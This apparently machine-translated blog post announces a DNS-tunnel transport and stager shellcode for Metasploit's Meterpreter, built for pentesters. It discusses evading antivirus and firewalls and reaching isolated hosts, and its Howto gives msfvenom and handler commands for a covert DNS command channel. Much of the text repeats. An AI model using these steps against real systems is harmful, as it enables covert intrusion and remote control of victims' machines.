December 19, 2017 at 15:42Metasploit exfiltration: DNS tunnel for Meterpreter
The topic of the DNS tunnel for organizing a covert communication channel with a command server - (C2 or C & C) is not new, but for many years one thing haunted me - there was no implementation of a full-featured solution from the pentester (hacker) point of view (not counting custom things for myself). There was no convenient way to download the payload and control the remote agent (trojan) in one bottle without using third-party services such as Iodine or DNSCat2, which were not created for covert stay in the system and made a lot of local noise: they opened TCP ports, opened active connections independently and generally hung by a separate process, and all this is characterized by one word - "fawn".
A year ago, within the framework of our DEF CON group DC7812, purely for the sake of “fun and profit” and for the benefit of the community, we set out to solve this problem and make a normal DNS tunnel in the Metasploit transport for the Meterpreter agent (so far only for MS Windows). In other words, for Meterpreter to use this tunnel in a native way. Obviously, this also implied the creation of a load stager (shellcodes), so that this same meterpreter (or another MSF payload) was loaded from the same DNS directly from a spliced process. Thus, we will have standard native transport support, which will add additional features to the pentesters. Well, I am pleased to inform that we have completed the development and now anyone can use it or at least test it.
Meterpreter is a fairly well-known and popular remote control agent in the Metasploit framework . This agent is quite flexible and convenient, with a bunch of modules and plugins and an API type, which allows you to create your own plugins and modules. But unfortunately such features as transport are part of the core engine, and this means that we will not get off the module here. At the moment, Meterpreter supports the following types of transport "network" level:
In our current version of “pre-release”, we made support for DNS transport only for OS Windows (for x64 and x86), which is implemented in the following components:
DNS MSF Bridge- one of the key components of the system. In essence, this is a Python script that works as a DNS service that will be responsible for resolving names and returning data to the agent in the form of RR records. This interface is the essence of organizing a DNS tunnel for a shellcode or Meterpreter agent. At the same time, the same service will open a regular TCP port, for connection from the Metasploit side of the console, over normal TCP. Thus, the pentester does not need to think about how to make the MSF handler and laptop accessible for DNS. The whole task is to drop this script on your server (AWS Ec2), create your own domain on it, NS records and not take a steam bath from where and how the pentester works - it’s extremely convenient (for my taste). In addition, this solution allows several pentesters to work with the same DNS, but with different loads at the same time. The current version supports up to 26 simultaneously open meterpreter sessions. At the moment, we do not have native support for the DNS service in Ruby in MSF itself, but work on it is already being carried out by the Metasploit community (specificallyRageLtMan ).
The tunnel itself is organized through two types of RR records (optional): DNSKEY RR and AAAA RR. This means that all of these implementations are cut in all components, including shellcodes.
Actually, the operation of the transport looks like this: MSF handler (pentester) connects to our service, sends a payload (for example, meterpreter body) to our DNS and waits ... Then, conditionally, someone exploits and our shellcode somewhere using the DNS tunnel, pumps meterpreter, launches it in the context of the same process, and meterpreter itself, using the same transport and DNS, organizes duplex communication with the MSF handler (pentester). Then the pentester can do anything - migrate to another process, open an interactive command shell, use mimikatz, etc., etc. - all this will be hidden by our tunnel. At the entire killchain stage (after operation), we use the same transport and we do not need to upload additional binary DNScat2 files to the target machine or run Powershell, we are hidden from the very beginning by the tunnel.
I’ll add a few words about the organization of the tunnel from the shellcode and meterpreter. If, for example, DNSCat2 uses the name resolver implementation itself (that is, it implements the TCP / UDP connection itself), then in our case we use the Windows API: DnsQuery, which allows us to shift the network connection implementation to MS DNSCache, that is, the network connection will be implemented directly svchost.exe, not a hacked process or backdoor (meterpreter). This is a very good “feature”, which will allow to bypass a number of problems with EPP / AV and personal firewall, which are actively working on the “victim” workstation, and monitor new suspicious connections. So it looks:
Connections are not visible, +5 to invisibility 8)
Well, the classic theme of the tunnel is that the connection in any case does not go to the Internet, but to the local DNS server, that is, to the router or whatever will be registered in the network corpus (AD). In fact, it also allows you to gain control over machines that cannot directly go to the Internet. Separately, I can recall that in my experience there were stories when it pulled out a pentset - a spoil with a DNS tunnel with traps for payloads, it allowed me to send letters by e-mail and receive breakouts from targets in "especially isolated areas". In addition, I recently tested a feature of one NextGen product - “Isolation of a compromised host”, so meterpreter with DNS tunnels turned out to be worthless 8) In short, there are a lot of bonuses and goodies, but there is also a negative side - speed and network anomalies. About speed - it depends heavily on the environment and local DNS, and can vary greatly. I took measurements in the home network and in the building. network and these are the results:
Upload
base32 - from 1 KB / sec to 4 KB / sec
Downlink
AAAA - from 4 KB / sec to 16 KB / sec
DNSKEY - from 86 KB / sec to 660 KB / sec
As you can see, using the DNSKEY tunnel gives a very decent speed. The shellcode pumps the body at the moment of splitting in 2 seconds, this is very acceptable for my taste. Nevertheless, there are shallow faults and stunts in general (from experience). AAAA tunnel is more invisible on the one hand = more fragmented requests, and AAAA requests themselves are not uncommon in logs.
Future plans The
main task that is being done now is merging into the main MSF branch, that is, our task is to make this transport not just a fork, but to make it part of Metasploit. The process is already underway and thanks to RageLtMan for taking on this part of the work, which includes the creation of a native DNS handler. We think that next year it will not be just a cool fork, but will become part of the project.
Once this transport becomes part of the project “officially”, you can start thinking about different features:
If you want to participate in something like this, write to us.
In any case, you can always talk about these and other interesting tasks on the IRC (freenode.org #Metasploit, ask for max3raza and RageLtMan for the tunnel there ).
If the topic of information security is interesting at all, then our group DC 7812 telegram chat
t.me/DCG7812 sometimes we hold group meetings and online streams, if you have ideas or want to participate in the project, welcome! ..
Project sources (MSF fork with our features ):
https://github.com/defcon-russia/metasploit-framework
https://github.com/defcon-russia/metasploit-payloads
Slides with ZeroNights.
Demo video:
A year ago, within the framework of our DEF CON group DC7812, purely for the sake of “fun and profit” and for the benefit of the community, we set out to solve this problem and make a normal DNS tunnel in the Metasploit transport for the Meterpreter agent (so far only for MS Windows). In other words, for Meterpreter to use this tunnel in a native way. Obviously, this also implied the creation of a load stager (shellcodes), so that this same meterpreter (or another MSF payload) was loaded from the same DNS directly from a spliced process. Thus, we will have standard native transport support, which will add additional features to the pentesters. Well, I am pleased to inform that we have completed the development and now anyone can use it or at least test it.
Meterpreter is a fairly well-known and popular remote control agent in the Metasploit framework . This agent is quite flexible and convenient, with a bunch of modules and plugins and an API type, which allows you to create your own plugins and modules. But unfortunately such features as transport are part of the core engine, and this means that we will not get off the module here. At the moment, Meterpreter supports the following types of transport "network" level:
- Binding TCP port
- Reverse connection over TCP / IP
- Reverse connection over HTTP
Designed Components
In our current version of “pre-release”, we made support for DNS transport only for OS Windows (for x64 and x86), which is implemented in the following components:
- DNS MSF Bridge (essentially a “proxy”)
- Meterpreter DNS transport (implementation of transport in the agent)
- MSF stager payloads (shellcodes, x64 / x86)
DNS MSF Bridge- one of the key components of the system. In essence, this is a Python script that works as a DNS service that will be responsible for resolving names and returning data to the agent in the form of RR records. This interface is the essence of organizing a DNS tunnel for a shellcode or Meterpreter agent. At the same time, the same service will open a regular TCP port, for connection from the Metasploit side of the console, over normal TCP. Thus, the pentester does not need to think about how to make the MSF handler and laptop accessible for DNS. The whole task is to drop this script on your server (AWS Ec2), create your own domain on it, NS records and not take a steam bath from where and how the pentester works - it’s extremely convenient (for my taste). In addition, this solution allows several pentesters to work with the same DNS, but with different loads at the same time. The current version supports up to 26 simultaneously open meterpreter sessions. At the moment, we do not have native support for the DNS service in Ruby in MSF itself, but work on it is already being carried out by the Metasploit community (specificallyRageLtMan ).
The tunnel itself is organized through two types of RR records (optional): DNSKEY RR and AAAA RR. This means that all of these implementations are cut in all components, including shellcodes.
Actually, the operation of the transport looks like this: MSF handler (pentester) connects to our service, sends a payload (for example, meterpreter body) to our DNS and waits ... Then, conditionally, someone exploits and our shellcode somewhere using the DNS tunnel, pumps meterpreter, launches it in the context of the same process, and meterpreter itself, using the same transport and DNS, organizes duplex communication with the MSF handler (pentester). Then the pentester can do anything - migrate to another process, open an interactive command shell, use mimikatz, etc., etc. - all this will be hidden by our tunnel. At the entire killchain stage (after operation), we use the same transport and we do not need to upload additional binary DNScat2 files to the target machine or run Powershell, we are hidden from the very beginning by the tunnel.
I’ll add a few words about the organization of the tunnel from the shellcode and meterpreter. If, for example, DNSCat2 uses the name resolver implementation itself (that is, it implements the TCP / UDP connection itself), then in our case we use the Windows API: DnsQuery, which allows us to shift the network connection implementation to MS DNSCache, that is, the network connection will be implemented directly svchost.exe, not a hacked process or backdoor (meterpreter). This is a very good “feature”, which will allow to bypass a number of problems with EPP / AV and personal firewall, which are actively working on the “victim” workstation, and monitor new suspicious connections. So it looks:
Connections are not visible, +5 to invisibility 8)
Well, the classic theme of the tunnel is that the connection in any case does not go to the Internet, but to the local DNS server, that is, to the router or whatever will be registered in the network corpus (AD). In fact, it also allows you to gain control over machines that cannot directly go to the Internet. Separately, I can recall that in my experience there were stories when it pulled out a pentset - a spoil with a DNS tunnel with traps for payloads, it allowed me to send letters by e-mail and receive breakouts from targets in "especially isolated areas". In addition, I recently tested a feature of one NextGen product - “Isolation of a compromised host”, so meterpreter with DNS tunnels turned out to be worthless 8) In short, there are a lot of bonuses and goodies, but there is also a negative side - speed and network anomalies. About speed - it depends heavily on the environment and local DNS, and can vary greatly. I took measurements in the home network and in the building. network and these are the results:
Upload
base32 - from 1 KB / sec to 4 KB / sec
Downlink
AAAA - from 4 KB / sec to 16 KB / sec
DNSKEY - from 86 KB / sec to 660 KB / sec
As you can see, using the DNSKEY tunnel gives a very decent speed. The shellcode pumps the body at the moment of splitting in 2 seconds, this is very acceptable for my taste. Nevertheless, there are shallow faults and stunts in general (from experience). AAAA tunnel is more invisible on the one hand = more fragmented requests, and AAAA requests themselves are not uncommon in logs.
Howto
- git clone and budle install github.com/defcon-russia/metasploit-framework
- You need to have a domain, in short, something like: msf.ws
- Need a place for hosting with static IP (say IP 1.2.3.4)
- Set up NS records on msf.ws and our IP
- Fill the DNS MSF Bridge on the server and run
./dns_server.py --ipaddr 1.2.3.4 --domain msf.ws
- Prepare the stager payload (shellcode)
./msfvenom -p windows / meterpreter / reverse_dns DOMAIN = msf.ws RHOST = 1.2.3.4
- We’ll mess up the split with our shellcode
- Run the MSF handler
use exploit / multi / handler
set payload windows / meterpreter / reverse_dns
set DOMAIN msf.ws
set RHOST 1.2.3.4
run
- We will deliver the split to the target and wait for the sessions
Future plans The
main task that is being done now is merging into the main MSF branch, that is, our task is to make this transport not just a fork, but to make it part of Metasploit. The process is already underway and thanks to RageLtMan for taking on this part of the work, which includes the creation of a native DNS handler. We think that next year it will not be just a cool fork, but will become part of the project.
Once this transport becomes part of the project “officially”, you can start thinking about different features:
- XOR encryption for stager
- Powershell / VBS stagers
- Support for other platforms and OS
- More types of DNS tunnels: TXT, NULL, etc.
If you want to participate in something like this, write to us.
In any case, you can always talk about these and other interesting tasks on the IRC (freenode.org #Metasploit, ask for max3raza and RageLtMan for the tunnel there ).
If the topic of information security is interesting at all, then our group DC 7812 telegram chat
t.me/DCG7812 sometimes we hold group meetings and online streams, if you have ideas or want to participate in the project, welcome! ..
Project sources (MSF fork with our features ):
https://github.com/defcon-russia/metasploit-framework
https://github.com/defcon-russia/metasploit-payloads
Slides with ZeroNights.
Demo video: